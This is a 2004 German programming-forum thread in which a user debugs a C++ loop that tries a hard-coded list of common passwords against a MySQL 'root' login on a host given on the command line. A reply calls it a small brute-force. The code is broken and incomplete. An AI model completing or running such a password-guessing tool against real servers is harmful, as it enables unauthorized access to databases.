Herzlich Willkommen, lieber Gast!
  Sie befinden sich hier:

  Forum » C / C++ (ANSI-Standard) » schleife in schleife ?

Forum | Hilfe | Team | Links | Impressum | > Suche < | Mitglieder | Registrieren | Einloggen
  Quicklinks: MSDN-Online || STL || clib Reference Grundlagen || Literatur || E-Books || Zubehör || > F.A.Q. < || Downloads   

Autor Thread - Seiten: > 1 <
000
25.09.2004, 17:30 Uhr
~jens
Gast


hab mal wieder ein problem was mir kopfschmerzen bereitet und ich bekomme es einfach nicht hin :C

C++:
{
  char puffer[100];
  char tmpr[50];
  static const char *pw[] = {"NULL","forme","root"}
  int d=0;
  for(d=0; d<3; d++) {
    strncpy(tmpr, pw[d],50);
    sprintf(puffer,"%s",tmpr);
    puts(puffer);
    if (!mysql_real_connect(&mysql,argv[1],username,puffer,database,0,NULL,0));

        }
}
  {

//MAKIERUG 1

  if (!mysql_real_connect(&mysql,argv[1],username,password,database,0,NULL,0))
  {
   printf ("   ... failed");  
           mysql_error(&mysql);
           return 0;
   }
  
  else {
   printf ("   ... jop");      
}
  }


und zwar überprüft er die mysql passwörter aber er soll sobald er das richtige hat
printf (" ... jop"); ausgeben und falls er es nicht findet printf (" ... failed"); ausgeben.

Denke das problem liegt in der schleife selber. Da wenn ich if (!mysql_real_connect(&mysql,argv[1],username,password,database,0,NULL,0)) entferne bekomme ich error mit else und somit fallen die fehler meldung / erfolgs meldung aus.
Die meldung soll allerdings nur einmal erscheinen und nicht bei jeden schleifen durch gang?!

hat jemand ein rat ?

mfg
jens


Bearbeitung von windalf:

bitte cpp-tags verwenden.. wie es geht siehst du wenn du deinen post versuchst zu editieren


Dieser Post wurde am 25.09.2004 um 17:32 Uhr von Windalf editiert.
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
001
25.09.2004, 17:53 Uhr
~mike
Gast


Hi!
Wenn ich dich richtig verstehe muss deine Schleife so ausschaun

C++:
int found = 0;
for(d=0; d<3; d++) {
  if(passwortstimmt){
    printf (" ... jop");
    found = 1;
    break;
  }
}

if(!found)
printf (" ... failed");



mfg
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
002
25.09.2004, 18:06 Uhr
~jens
Gast



C++:
{
  char puffer[100];
  char tmpr[50];
  static const char *pw[] = {"NULL","forme","root","123","1234","12345","123456","1234567","12345678","123456789","1234567890","su1234567890","r00t","admin","pass","password","password","ownd","secured","gesichert","rooted","blubb","blubi","blubbi","rocks","werock","neverdie","hacked","sploited","helga","hilde","mama","mum","london","london41","luna","forme","NULL","NULL","NULL","NULL","NULL","NULL","NULL"};
  int found = 0;
  int d=0;
  for(d=0; d<5; d++) {
    strncpy(tmpr, pw[d],50);
    sprintf(puffer,"%s\n",tmpr);
    puts(puffer);
    if (!mysql_real_connect(&mysql,argv[1],username,puffer,database,0,NULL,0));
    if(passwortstimmt){
    printf (" ... jop");
    found = 1;
    break;

        }
}



denke der anstzt ist richtig aber nun sagt er
Dc++3\c++\sploit\Cpp1.cpp(148) : error C2065: 'passwortstimmt' : undeclared identifier

:C
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
003
25.09.2004, 18:10 Uhr
~jens
Gast


ok wenn ich nun password stimmt durch found=1 ersetzte geht es
aller dings bei
if(!found)
printf (" ... failed");

gibt er mir nun an jop und failed
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
004
25.09.2004, 18:11 Uhr
~mike
Gast


Hi
Mit passwortstimmt meinte ich deine Routine, die die Richtigkeit des Passwortes überprüft
Was willst du machen? Hast du Passwörter in einer Datenbank und willst überprüfen ob der User ein richtiges Passwort eingegebn hat?

mfg
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
005
25.09.2004, 18:15 Uhr
~jens
Gast


jo er soll halt überprüfen ob user/pw stimmt

username ist mit #define username "root" gesetzt
und die pws habe ich
static const char *pw[] = {"NULL","forme","root","123","1234","12345","123456","1234567",".... gesetzt
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
006
25.09.2004, 18:27 Uhr
~mike
Gast


Hehe. Ne kleine Bruteforce
Naja. Da musst du schon ein SQL Statement bauen
SELECT password FROM tabelle WHERE name='root';
Dann holst du dir das Resultat der Abfrage und machst:

C++:
int found = 0;
for(d=0; d<3; d++) {
if(!strcmp(mysqlres,pw[i]){
printf (" ... jop");
found = 1;
break;
}
}

if(!found)
printf (" ... failed");


mysqlres ist der String der SQL Abfrage

mfg
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
007
25.09.2004, 18:32 Uhr
~jens
Gast


hm kriege das irgnedwie nicht richtig hin :
Dc++3\c++\sploit\Cpp1.cpp(148) : error C2065: 'mysqlres' : undeclared identifier
aber ich teste mal ne wenig

danke dir
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
Seiten: > 1 <     [ C / C++ (ANSI-Standard) ]  


ThWBoard 2.73 FloSoft-Edition
© by Paul Baecher & Felix Gonschorek (www.thwboard.de)

Anpassungen des Forums
© by Flo-Soft (www.flo-soft.de)

Sie sind Besucher: